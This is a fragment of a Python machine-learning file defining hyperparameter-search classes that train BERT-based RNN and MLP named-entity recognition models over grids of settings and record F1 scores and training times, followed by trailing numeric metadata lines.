par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl=6, # hidden layers of rnn units=512, # units per layer of rnn (default BERT val) dropout=0.1, # rnn dropout input_size=768, # make sure model is BertModel not ForToken rnn_type='gru', # rnn, lstm, gru nonlinearity: str = 'tanh', # tanh, relu, ..? pool_type: str = 'cat', # TODO check if this is even used bidirectional: bool = True, fine_tune_bert=False, small_data=None, ): # searching parameters: self.par_1 = par_1 # list of rnn types self.par_2 = par_2 # fine tune bert true or false # creating matrices to store the searching scores self.training_time, self.searching_f1Score, self.searching_epoch = \ self._generate_metrics( par_1=par_1, par_2=par_2 ) self.vocab_dir = vocab_dir # NORBERT self.train_data_url = train_data_url # datafile self.out_path_filename = out_path_filename # outputs/RNNBiDir self.verbose = verbose self.small_data = small_data # seeding self.random_state = random_state if self.random_state is not None: torch.manual_seed(self.random_state) np.random.seed(self.random_state) self.epochs = epochs self.device = device self.loss_funct = loss_funct self.batch_size = batch_size self.lr_scheduler = lr_scheduler self.factor = lr_factor self.patience = lr_patience self.min_entities = min_entities self.lr = lr self.momentum = momentum self.epoch_patience = epoch_patience self.n_hl = n_hl # <- num_layers self.input_size = input_size # <- input_size self.dropout = dropout self.input_size = input_size self.units = units self.pool_type = pool_type self.rnn_type = rnn_type self.nonlinearity = nonlinearity self.bidirectional = bidirectional self.fine_tune_bert = fine_tune_bert def _store_metrics(self, c_idx, r_idx, t0, t1, model): print(f"Elapsed time: {t1 - t0}.") if self.verbose is True else None self.training_time[c_idx][r_idx] = t1 - t0 print(f"Valid F1: {model.val_f1_scores[model.last_epoch]}.") \ if self.verbose is True else None self.searching_f1Score[c_idx][r_idx] = \ model.val_f1_scores[model.last_epoch] self.searching_epoch[c_idx][r_idx] = model.last_epoch def run(self): # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID, label_indexer) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=self.min_entities, small_data=self.small_data, ) for c_idx, col in enumerate(self.par_1): # rnn type for r_idx, row in enumerate(self.par_2): # fine tune bert print('\n\n\nloading model...') if self.verbose else None model = BertRNN( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, lr_factor=self.factor, lr_patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=self.lr, momentum=self.momentum, epoch_patience=self.epoch_patience, label_indexer=label_indexer, n_hl=self.n_hl, units=self.units, dropout=self.dropout, input_size=self.input_size, rnn_type=col, nonlinearity=self.nonlinearity, pool_type=self.pool_type, bidirectional=self.bidirectional, fine_tune_bert=row, ) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self # want to return best params class RNNHLUnits(RNNTypeFineTuneBert): def __init__( self, par_1, # hidden layers par_2, # Units vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl=None, # hidden layers of rnn units=None, # units per layer of rnn (default BERT val) dropout=0.1, # rnn dropout input_size=768, # make sure model is BertModel not ForToken rnn_type='gru', # rnn, lstm, gru nonlinearity= 'tanh', # tanh, relu, ..? pool_type= 'cat', # TODO check if this is even used bidirectional = True, fine_tune_bert = False, small_data=None ): super().__init__( par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl, units, dropout, input_size, rnn_type, nonlinearity, pool_type, bidirectional, fine_tune_bert, small_data ) def run(self): # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID, label_indexer) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=self.min_entities ) for c_idx, col in enumerate(self.par_1): # rnn type for r_idx, row in enumerate(self.par_2): # fine tune bert print('\n\n\nloading model...') if self.verbose else None model = BertRNN( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, lr_factor=self.factor, lr_patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=self.lr, momentum=self.momentum, epoch_patience=self.epoch_patience, label_indexer=label_indexer, n_hl=col, units=row, dropout=self.dropout, input_size=self.input_size, rnn_type=self.rnn_type, nonlinearity=self.nonlinearity, pool_type=self.pool_type, bidirectional=self.bidirectional, fine_tune_bert=self.fine_tune_bert, ) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self class RNNLrMmt(RNNTypeFineTuneBert): def __init__(self, par_1, # hidden layers par_2, # Units vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl=None, # hidden layers of rnn units=None, # units per layer of rnn (default BERT val) dropout=0.1, # rnn dropout input_size=768, # make sure model is BertModel not ForToken rnn_type='gru', # rnn, lstm, gru nonlinearity= 'tanh', # tanh, relu, ..? pool_type= 'cat', # TODO check if this is even used bidirectional = True, fine_tune_bert = False, small_data = None ): super().__init__(par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl, units, dropout, input_size, rnn_type, nonlinearity, pool_type, bidirectional, fine_tune_bert, small_data) def run(self): # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID, label_indexer) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=self.min_entities ) for c_idx, col in enumerate(self.par_1): # rnn type for r_idx, row in enumerate(self.par_2): # fine tune bert print('\n\n\nloading model...') if self.verbose else None model = BertRNN( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, lr_factor=self.factor, lr_patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=col, momentum=row, epoch_patience=self.epoch_patience, label_indexer=label_indexer, n_hl=self.n_hl, units=self.units, dropout=self.dropout, input_size=self.input_size, rnn_type=self.rnn_type, nonlinearity=self.nonlinearity, pool_type=self.pool_type, bidirectional=self.bidirectional, fine_tune_bert=self.fine_tune_bert, ) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self ############ BertMLP Studies ############## class MLPFilterSizeFineTuneBert(RNNTypeFineTuneBert): def __init__( self, par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl=6, # hidden layers of rnn units=512, # units per layer of rnn (default BERT val) dropout=0.1, # rnn dropout input_size=768, # make sure model is BertModel not ForToken fine_tune_bert=False, small_data = 0.25, ### change these for MLP specific parameters bias=0.1, hl_actfunct='tanh', out_actfunct='relu', weights_init='xavier_normal', ): # searching parameters: self.par_1 = par_1 # list of rnn types self.par_2 = par_2 # fine tune bert true or false # creating matrices to store the searching scores self.training_time, self.searching_f1Score, self.searching_epoch = \ self._generate_metrics( par_1=par_1, par_2=par_2 ) self.vocab_dir = vocab_dir # NORBERT self.train_data_url = train_data_url # datafile self.out_path_filename = out_path_filename self.verbose = verbose self.small_data = small_data # seeding self.random_state = random_state if self.random_state is not None: torch.manual_seed(self.random_state) np.random.seed(self.random_state) self.epochs = epochs self.device = device self.loss_funct = loss_funct self.batch_size = batch_size self.lr_scheduler = lr_scheduler self.factor = lr_factor self.patience = lr_patience self.min_entities = min_entities self.lr = lr self.momentum = momentum self.epoch_patience = epoch_patience self.n_hl = n_hl # <- num_layers self.input_size = input_size # <- input_size self.dropout = dropout self.input_size = input_size self.units = units self.fine_tune_bert = fine_tune_bert # change to MLP specific self.bias=bias self.hl_actfunct=hl_actfunct self.out_actfunct=out_actfunct self.weights_init=weights_init def run(self): for c_idx, col in enumerate(self.par_1): # min_entities for r_idx, row in enumerate(self.par_2): # fine tune bert # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID, label_indexer) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=col, small_data=self.small_data ) print('\n\n\nloading model...') if self.verbose else None model = BertMLP( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, lr_factor=self.factor, lr_patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=self.lr, momentum=self.momentum, epoch_patience=self.epoch_patience, label_indexer=label_indexer, n_hl=self.n_hl, units=self.units, dropout=self.dropout, input_size=self.input_size, fine_tune_bert=row, # MLP bias=self.bias, hl_actfunct=self.hl_actfunct, out_actfunct=self.out_actfunct, weights_init=self.weights_init, ) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self # want to return best params class MLPActivationFunction(MLPFilterSizeFineTuneBert): def __init__( self, par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl=6, # hidden layers of rnn units=512, # units per layer of rnn (default BERT val) dropout=0.1, # rnn dropout input_size=768, # make sure model is BertModel not ForToken fine_tune_bert=False, small_data = 0.25, ### MLP specific parameters bias=0.1, hl_actfunct='tanh', out_actfunct='relu', weights_init='xavier_normal' ): super().__init__( par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl, units, dropout, input_size, fine_tune_bert, small_data, bias, hl_actfunct, out_actfunct, weights_init, ) def run(self): # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID, label_indexer) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=self.min_entities ) for c_idx, col in enumerate(self.par_1): # hidden activation for r_idx, row in enumerate(self.par_2): # output activation print('\n\n\nloading model...') if self.verbose else None model = BertMLP( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, lr_factor=self.factor, lr_patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=self.lr, momentum=self.momentum, epoch_patience=self.epoch_patience, label_indexer=label_indexer, n_hl=self.n_hl, units=self.units, dropout=self.dropout, input_size=self.input_size, fine_tune_bert=True, # MLP bias=self.bias, hl_actfunct=col, out_actfunct=row, weights_init=self.weights_init, ) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self # want to return best params class MLPHlUnits(MLPFilterSizeFineTuneBert): def __init__( self, par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl=6, # hidden layers of rnn units=512, # units per layer of rnn (default BERT val) dropout=0.1, # rnn dropout input_size=768, # make sure model is BertModel not ForToken fine_tune_bert=False, small_data = 0.25, ### MLP specific parameters bias=0.1, hl_actfunct='tanh', out_actfunct='relu', weights_init='xavier_normal' ): super().__init__( par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl, units, dropout, input_size, fine_tune_bert, small_data , bias, hl_actfunct, out_actfunct, weights_init, ) def run(self): # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID, label_indexer) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=self.min_entities ) for c_idx, col in enumerate(self.par_1): # hidden layers for r_idx, row in enumerate(self.par_2): # units per layer print('\n\n\nloading model...') if self.verbose else None model = BertMLP( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, lr_factor=self.factor, lr_patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=self.lr, momentum=self.momentum, epoch_patience=self.epoch_patience, label_indexer=label_indexer, n_hl=col, units=row, dropout=self.dropout, input_size=self.input_size, fine_tune_bert=True, # MLP bias=self.bias, hl_actfunct=self.hl_actfunct, out_actfunct=self.out_actfunct, weights_init=self.weights_init, ) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self # want to return best params class MLPLrOpt(MLPFilterSizeFineTuneBert): def __init__( self, par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl=6, # hidden layers of rnn units=512, # units per layer of rnn (default BERT val) dropout=0.1, # rnn dropout input_size=768, # make sure model is BertModel not ForToken fine_tune_bert=False, small_data = 0.25, ### MLP specific parameters bias=0.1, hl_actfunct='tanh', out_actfunct='relu', weights_init='xavier_normal' ): super().__init__( par_1, par_2, vocab_dir, train_data_url, out_path_filename, verbose, random_state, epochs, device, loss_funct, batch_size, lr_scheduler, lr_factor, lr_patience, min_entities, lr, momentum, epoch_patience, n_hl, units, dropout, input_size, fine_tune_bert, small_data, bias, hl_actfunct, out_actfunct, weights_init, ) def run(self): # load data (train_loader, val_loader, num_labels, NOT_ENTITY_ID, label_indexer) = self._load_data( NORBERT=self.vocab_dir, train_data_url=self.train_data_url, batch_size=self.batch_size, device=self.device, train_prop=0.75, verbose=self.verbose, random_state=self.random_state, min_entities=self.min_entities ) for c_idx, col in enumerate(self.par_1): # learning rate for r_idx, row in enumerate(self.par_2): # optimizer print('\n\n\nloading model...') if self.verbose else None model = BertMLP( NORBERT=self.vocab_dir, num_labels=num_labels, NOT_ENTITY_ID=NOT_ENTITY_ID, device=self.device, epochs=self.epochs, lr_scheduler=self.lr_scheduler, lr_factor=self.factor, lr_patience=self.patience, loss_funct=self.loss_funct, random_state=self.random_state, verbose=self.verbose, lr=col, momentum=self.momentum, epoch_patience=self.epoch_patience, label_indexer=label_indexer, n_hl=self.n_hl, units=self.units, dropout=self.dropout, input_size=self.input_size, fine_tune_bert=True, # MLP bias=self.bias, hl_actfunct=self.hl_actfunct, out_actfunct=self.out_actfunct, weights_init=self.weights_init, optimizer=row ) print("Fitting data...") if self.verbose else None t0 = time.time() model.fit( loader=train_loader, test=val_loader, verbose=self.verbose ) t1 = time.time() print(f"Fitting done in {t1 - t0}s.") if self.verbose else \ None self._store_metrics( c_idx=c_idx, r_idx=r_idx, t0=t0, t1=t1, model=model ) metrics_ = (self.training_time, self.searching_f1Score) self._save_metrics( metrics=metrics_, par_1=self.par_1, par_2=self.par_2, path_filename=self.out_path_filename ) return self # want to return best params
34.582028
79
0.532731
4,640
41,948
4.526509
0.055603
0.034566
0.022283
0.009903
0.943913
0.934057
0.927963
0.916345
0.913869
0.899824
0
0.012901
0.392081
41,948
1,212
80
34.610561
0.810713
0.058191
0
0.84654
0
0
0.025018
0.003458
0
0
0
0.000825
0
1
0.025075
false
0
0.013039
0
0.060181
0.034102
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7